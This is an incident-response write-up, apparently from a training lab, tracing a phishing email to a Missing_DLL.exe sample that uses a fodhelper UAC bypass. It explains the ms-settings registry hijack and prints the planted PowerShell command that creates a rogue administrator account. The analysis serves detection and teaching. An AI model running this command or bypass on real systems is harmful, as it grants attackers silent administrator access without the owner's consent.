Fodhelper UAC Bypass: From Phishing Link to Rogue Admin Account
Category
Malware
Status
Complete
Host
Fiona (172.16.17.73)
Method
Email, Sysmon, registry & binary analysis
MITRE ATT&CK
T1566.002 Spearphishing LinkT1204.002 User ExecutionT1548.002 Bypass User Account ControlT1112 Modify RegistryT1059.001 PowerShellT1136.001 Create Local Account
Executive Summary
A High-severity malware alert fired on host Fiona after Missing_DLL.exe called fodhelper.exe. The cause
was a phishing email presented as a Microsoft helpdesk message, urging the user to download a “DLL
package” from a link. The link delivered a ZIP from an Amazon S3 bucket. Once its executable ran,
it wrote a PowerShell command into the ms-settings registry key under HKCU and launched fodhelper.exe,
an auto-elevating Microsoft binary, so the command ran with administrator rights and without a UAC
prompt. The command created a local account, onebl00d, and added it to the Administrators group. The
registry key and the account were both confirmed on the endpoint. The alert’s own timestamp does
not line up with the other sources and was not used to order events.
A High-severity alert, classified as Malware, fired on workstation Fiona (172.16.17.73) when
Missing_DLL.exe, running from the user’s Downloads folder, called fodhelper.exe, a legitimate
Windows process. The first-line analyst noted that only three antivirus engines flagged the file on
VirusTotal and escalated it for detailed analysis.
The goal was to trace the file back to how it arrived, work out what it did on the host, and confirm
the result on the endpoint itself.
Figure 1.Alert details: a High-severity malware alert on host Fiona (172.16.17.73), with Missing_DLL.exe launching fodhelper.exe.
Evidence Collected
Artifact
Value
Why It Mattered
Alert
High · Malware · Missing_DLL.exe → fodhelper.exe
Starting point of the investigation
Phishing email
helpdesk@microsoft[.]com → fiona@letsdefend.io · “Urgent: Download Microsoft DLL Package Now” · sender IP 204.8.156.142
The outcome of the planted command, confirmed on the endpoint
Delivery and Download
The email presented itself as a Microsoft helpdesk message. It asked the recipient to download a ZIP
through a link, extract it, and run “missing_dlls.exe” to resolve missing DLL issues. The
gateway allowed it.
Figure 2.The phishing email: sender presented as helpdesk@microsoft[.]com, sender IP 204.8.156.142, gateway action Allowed.
The log-management view shows the Exchange SMTP entry, followed by three OS events on the endpoint. The
Sysmon detail behind them gives the download source and the file that was created.
Figure 3.Log management: the Exchange entry at 14:30:25, then OS events at 20:36:12 (download), 20:36:54 (file created) and 20:37:29 (registry write).
Timeline
Timestamps as recorded
Times below follow the log-management view. Sysmon’s own UtcTime fields read three hours later
(the registry write is 23:37:29.155), and the endpoint’s clock shows the new account created at
11:37:32 PM, about three seconds after that write. The alert’s timestamp, 11:37:00 +03:00, matches
the 11:37 on the endpoint but not its AM/PM or offset, so it was not used to order events.
Time
Event
Source
2024-03-18 14:30:00
Phishing email delivered to fiona@letsdefend.io; gateway action Allowed
Email security
2024-03-18 14:30:25
SMTP connection from 204.8.156.142 to the mail server (172.16.20.3:25)
Exchange
2024-03-18 20:36:12
chrome.exe saves Missing_DLL.zip; the Zone.Identifier records the source URL
Sysmon EID 15
2024-03-18 20:36:54
Explorer.EXE creates Missing_DLL.exe in the Downloads folder
Sysmon EID 11
2024-03-18 20:37:29
Missing_DLL.exe sets the (Default) value of the ms-settings command key to the PowerShell command
Sysmon EID 13
2024-03-18 23:37:32 (endpoint clock)
Local account onebl00d created (password last set)
net user output
Key Findings
A phishing email presented as a Microsoft helpdesk message urged the user to download a “DLL package” through a link, and the gateway allowed it.
The link led to Missing_DLL.zip on an Amazon S3 bucket. Chrome saved it with ZoneId=3 (internet), and Explorer extracted Missing_DLL.exe into the Downloads folder.
Missing_DLL.exe wrote a PowerShell command into the (Default) value of HKCU\Software\Classes\ms-settings\Shell\Open\command and launched fodhelper.exe, a UAC bypass that abuses an auto-elevating Microsoft binary.
The planted command, run elevated, created the local user onebl00d and added it to the Administrators group.
On the endpoint, the registry value is present and onebl00d exists as an active Administrators member with no expiry. At the time of the check, its last logon was Never.
Timestamps do not reconcile across sources: the alert’s time (11:37:00 +03:00) does not fit the log-management or Sysmon times, so event order comes from the logs, not the alert.
Attack Chain
Delivery
Phishing email presented as helpdesk@microsoft[.]com, with a link to a “DLL package”; allowed by the gateway.
Download
Chrome saves Missing_DLL.zip from an Amazon S3 bucket, and Explorer extracts Missing_DLL.exe into Downloads.
Execution
The user runs Missing_DLL.exe, as the email instructed.
UAC Bypass
The sample plants a command in the ms-settings registry key under HKCU, then launches fodhelper.exe with the runas verb.
Account Creation
Elevated PowerShell runs cmd.exe, which creates the local user onebl00d and adds it to Administrators.
Malicious File Analysis
fodhelper.exe is a signed Microsoft binary that elevates automatically. When it runs, it reads
HKCU\Software\Classes\ms-settings\Shell\Open\command. Settings under HKCU\Software\Classes belong to
the current user and can override system-wide ones, so a standard user can plant a command there.
Missing_DLL.exe writes a PowerShell command into the (Default) value of the ms-settings command key and sets a DelegateExecute value next to it.
It launches fodhelper.exe with the runas verb.
fodhelper.exe reads the key and runs the planted command instead of opening the Settings app.
Because fodhelper.exe is a trusted, auto-elevating binary, the command runs with administrator rights without a UAC prompt.
The elevated command runs net user to create onebl00d and net localgroup to add it to Administrators.
Figure 4.Decompiled main() of Missing_DLL.exe: it builds the PowerShell command, writes it to the ms-settings command key under HKCU, then launches fodhelper.exe with the runas verb.Figure 5.The UAC consent prompt that a -Verb RunAs request normally triggers. Routing the command through fodhelper.exe avoids it.Figure 6.Process tree from analysis of the sample: Missing_DLL.exe → fodhelper.exe → PowerShell → cmd.exe → net.exe / net1.exe, creating the account and adding it to Administrators. The PIDs differ from the endpoint’s Sysmon events, so this is a separate execution.
Endpoint Validation
Both effects of the sample were checked on the endpoint rather than inferred from the logs alone.
Figure 7.Registry Editor on the endpoint: the (Default) value under HKCU\Software\Classes\ms-settings\Shell\Open\command holds the PowerShell command, with a DelegateExecute value beside it.Figure 8.net user onebl00d on the endpoint: account active, member of Administrators, password last set 3/18/2024 11:37:32 PM, last logon Never.
(Default) and DelegateExecute values set by the sample
Command
powershell.exe /c Start-Process cmd.exe -ArgumentList '/c net user onebl00d pwn3d /add & net localgroup Administrators onebl00d /add' -Verb RunAs
Value written to the registry key
Account
onebl00d
Local account created and added to Administrators
Analyst Notes
Started from the alert, where Missing_DLL.exe called fodhelper.exe, and worked backwards to how the file reached the host.
Matched the Exchange entry to the phishing email, then used the Sysmon file-stream event for the Zone.Identifier, which gave the download URL directly.
The Sysmon registry event showed the written value, which already contained the full PowerShell command and the account name.
Decompiled the sample to confirm the registry writes and the runas launch of fodhelper.exe, rather than relying on the registry event alone.
Checked the registry key and the local account directly on the endpoint, so the outcome did not rest on logs only.
The process tree in Figure 6 has different PIDs from the endpoint’s Sysmon events, so it was used for the shape of the process chain, not to tie events to specific PIDs.